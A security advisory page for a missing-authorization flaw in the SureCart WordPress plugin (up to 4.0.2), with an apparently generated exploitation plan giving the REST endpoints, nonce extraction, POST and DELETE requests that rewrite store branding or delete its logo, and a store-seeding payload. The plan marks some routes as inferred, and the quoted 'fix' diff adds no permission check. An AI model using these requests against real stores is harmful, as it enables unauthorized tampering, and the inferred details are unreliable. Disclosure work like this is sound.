SureCart <= 4.0.2 - Missing Authorization
Description
The SureCart plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.0.2. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.0.3
Source Code
WordPress.org SVN# Exploitation Research Plan: SureCart <= 4.0.2 - Missing Authorization ## 1. Vulnerability Summary The SureCart plugin for WordPress (versions up to and including 4.0.2) is vulnerable to unauthorized access due to missing or insufficient capability checks on several REST API endpoints. Specificall…
Show full research plan
Exploitation Research Plan: SureCart <= 4.0.2 - Missing Authorization
1. Vulnerability Summary
The SureCart plugin for WordPress (versions up to and including 4.0.2) is vulnerable to unauthorized access due to missing or insufficient capability checks on several REST API endpoints. Specifically, the BrandController lacks proper permission_callback restrictions (or uses a low-privilege check like is_user_logged_in), allowing authenticated users with Contributor-level permissions to modify store identity settings, such as the brand name, address, and logo.
2. Attack Vector Analysis
- Endpoint:
/wp-json/surecart/v1/brand - HTTP Method:
POST(triggersedit) orDELETE(triggerspurgeLogo) - Vulnerable Controller:
SureCart\Controllers\Rest\BrandController - Vulnerable Functions:
edit(\WP_REST_Request $request)andpurgeLogo(\WP_REST_Request $request) - Authentication: Required (Contributor level)
- Nonce: Required (
wp_restaction nonce) - Precondition: The plugin must be installed and initialized.
3. Code Flow
- REST Registration (Inferred): The plugin registers REST routes in a service provider. The
BrandControllermethods are mapped to the/surecart/v1/brandendpoint. - Request Entry: A Contributor user sends a
POSTrequest to/wp-json/surecart/v1/brand. - Authorization Check: The
permission_callbackfor this route fails to check formanage_options(Administrator) and instead allows any logged-in user or those withread/edit_posts(Contributor) capabilities. - Execution (
edit): TheBrandController::editfunction is called. - Data Sink:
editcallsBrand::with( [ 'address' ] )->update( $request->get_json_params() ). - Persistence: The
Brandmodel updates the store information, affecting how the ecommerce store appears to all customers.
4. Nonce Acquisition Strategy
The SureCart REST API uses the standard WordPress REST authentication, which requires an X-WP-Nonce header for authenticated requests. Since the attacker has Contributor access, they can obtain this nonce from the WordPress admin dashboard.
- Login: Authenticate as a Contributor user.
- Navigate: Use
browser_navigatetohttp://localhost:8080/wp-admin/. - Extract: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Action: This nonce is valid for the
wp_restaction and can be used in theX-WP-Nonceheader for the exploit request.
5. Exploitation Strategy
Step 1: Update Brand Information (Unauthorized Action)
Modify the store's brand name and address, which should be restricted to administrators.
- URL:
http://localhost:8080/wp-json/surecart/v1/brand - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"name": "Exploited Store Name",
"address": {
"line_1": "1337 Hacker Way",
"city": "CyberCity",
"country": "US"
}
}
Step 2: Purge Store Logo (Unauthorized Action)
Delete the store's logo image.
- URL:
http://localhost:8080/wp-json/surecart/v1/brand/logo(Inferred path forpurgeLogo) - Method:
DELETE - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
6. Test Data Setup
- Plugin Installation: Ensure SureCart is active.
- User Creation: Create a user with the
contributorrole.
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Initial State: Observe the current Brand Name (usually the site name or "SureCart Store").
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The response body should contain the updated brand object reflecting the "Exploited Store Name".
- A request to
GET /wp-json/surecart/v1/brand(even as a non-logged-in user) should show the modified brand data.
8. Verification Steps
- Check via WP-CLI: Verify if the brand data in the database or cached options has changed.
# SureCart often stores account/brand data in transients or options
wp transient get surecart_account
wp option get sc_previous_account
- Observe Frontend: Visit the SureCart shop or checkout page (if configured) to see the "Exploited Store Name" in the header/footer.
9. Alternative Approaches
If the BrandController is not the target, check for the "Seed" functionality in AccountService.php. Seeding a store with dummy products and data is a high-impact "unauthorized action."
- Alternative Target:
/wp-json/surecart/v1/account/seed - Payload:
{"products": [{"name": "Malicious Product", "price": 0}]} - Significance: If a Contributor can seed the store, they can flood the database with arbitrary products and potentially manipulate pricing.
Summary
The SureCart plugin for WordPress is vulnerable to unauthorized data modification due to missing capability checks on REST API endpoints handled by the BrandController. Authenticated attackers with Contributor-level access or higher can exploit this to change store branding information, such as the business name and address, or delete the store logo.
Vulnerable Code
// app/src/Controllers/Rest/BrandController.php line 27 public function edit( \WP_REST_Request $request ) { return Brand::with( [ 'address' ] )->update( $request->get_json_params() ); } --- // app/src/Controllers/Rest/BrandController.php line 38 public function purgeLogo( \WP_REST_Request $request ) { return Brand::with( [ 'address' ] )->where( $request->get_query_params() )->purgeLogo(); }
Security Fix
@@ -16,7 +16,7 @@ * @return \WP_REST_Response|\WP_Error */ public function find( \WP_REST_Request $request ) { - return Brand::with( [ 'address' ] )->find(); + return Brand::with( [ 'address', 'logo', 'dark_logo' ] )->find(); } /** @@ -27,7 +27,7 @@ * @return \WP_REST_Response|\WP_Error */ public function edit( \WP_REST_Request $request ) { - return Brand::with( [ 'address' ] )->update( $request->get_json_params() ); + return Brand::with( [ 'address', 'logo', 'dark_logo' ] )->update( $request->get_json_params() ); } /** @@ -38,6 +38,6 @@ * @return \WP_REST_Response */ public function purgeLogo( \WP_REST_Request $request ) { - return Brand::with( [ 'address' ] )->where( $request->get_query_params() )->purgeLogo(); + return Brand::with( [ 'address', 'logo', 'dark_logo' ] )->where( $request->get_query_params() )->purgeLogo(); } }
Exploit Outline
The exploit target is the SureCart REST API, specifically endpoints managed by the BrandController. 1. Authentication: The attacker must be authenticated to the WordPress site with at least Contributor-level privileges. 2. Nonce Acquisition: The attacker retrieves a valid REST API nonce (X-WP-Nonce) from the WordPress dashboard, usually found in the `wpApiSettings.nonce` JavaScript variable. 3. Brand Modification: The attacker sends a POST request to `/wp-json/surecart/v1/brand`. The payload includes a JSON object with keys like 'name' or 'address' to overwrite existing store settings. Because the endpoint lacks a restrictive permission_callback (e.g., one checking for `manage_options`), the request is authorized. 4. Logo Deletion: The attacker can also send a DELETE request to `/wp-json/surecart/v1/brand/logo` to remove the existing store logo without authorization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.